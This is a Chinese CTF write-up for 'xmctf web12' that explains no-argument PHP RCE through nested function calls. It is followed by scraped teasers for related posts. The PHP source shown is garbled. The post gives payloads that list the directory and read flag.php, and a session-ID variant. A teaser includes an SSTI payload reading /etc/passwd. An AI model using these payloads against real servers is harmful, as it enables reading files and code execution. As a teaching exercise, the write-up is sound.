xmctf web12 考核 無引數RCE

2021-10-07 11:10:21 字數 1399 閱讀 3657

<?php 

header

("content-type: text/html;charset=utf-8");

include

"flag.php"

;echo

"flag在**呢?";

highlight_file

(__file__);

error_reporting(0

);if(

isset

($_get

['exp'])

)else

}else

}else

}// highlight_file(__file__);

?>

函式介紹

localeconv() 獲取 '.'

current() pos() :返回當前陣列值

next() 獲取下乙個陣列的值

end() 獲取最後乙個陣列的值

array_rand() 返回隨機的數字鍵值

arrat_flip() 陣列的鍵名和鍵值交換

scandir()返回指定目錄中的檔案和資料夾

array_reverse() 陣列逆序

獲取當前目錄中的檔案

exp=var_dump(scandir(pos(localeconv())));

為了獲取陣列倒數第二個鍵值,我們可以先用array_reverse()逆序陣列,接著用next()得到 flag.php最後用highlight_file讀取內容

payload:exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

也可以使用 array_flip()將鍵名和鍵值交換,再用array_rand()隨機讀取鍵名,因為陣列長度很小,所以可行

highlight_file(array_rand(array_flip(scandir(pos(localeconv())))));

但是題目中過濾了一下詞,沒法繞過,就當積累了吧。

還有一種方法是利用session

session_start() 開啟session

session_id() 獲取 phpsessid的值

payload:highlight_file(session_id(session_start()));

接著 修改phpsessid的值為flag.php即可

xmctf web11 考核 模板注入繞過

輸入name 1發現存在回顯,猜測為模板注入,經過測試發現過濾了.和一些關鍵字 py2模板注入常見payload class bases 0 subclasses 40 r etc passwd read class bases 0 subclasses 59 init func globals.v...

馳騁工作流引擎設計系列12 工作質量考核設計

關鍵字 馳騁工作流引擎 流程快速開發平台 workflow ccflow jflow 工作質量考核設計 關鍵字 ccbpm工作質量考核時效考核 需求背景 我們把在工作流程引擎中的考核分為兩種模式,一種是時效考核 另外一種是質量考核。時效考核就是對使用者的操作進行時間點的記錄,然後按照一定的規則進行計...

GAN,無監督深度學習新前景方法(1,2)

撰寫本手冊,主要和大家來 gans這樣一種最具前景的無監督學習方法。雖然生成對抗網路gans generative adversarial networks 已經被提出來好幾年了,但我依然對它非常懷疑。儘管生成對抗網路已經在 64x64 解析度的影象上取得了巨大的進步,卻依然無法打消我的疑慮,於是,...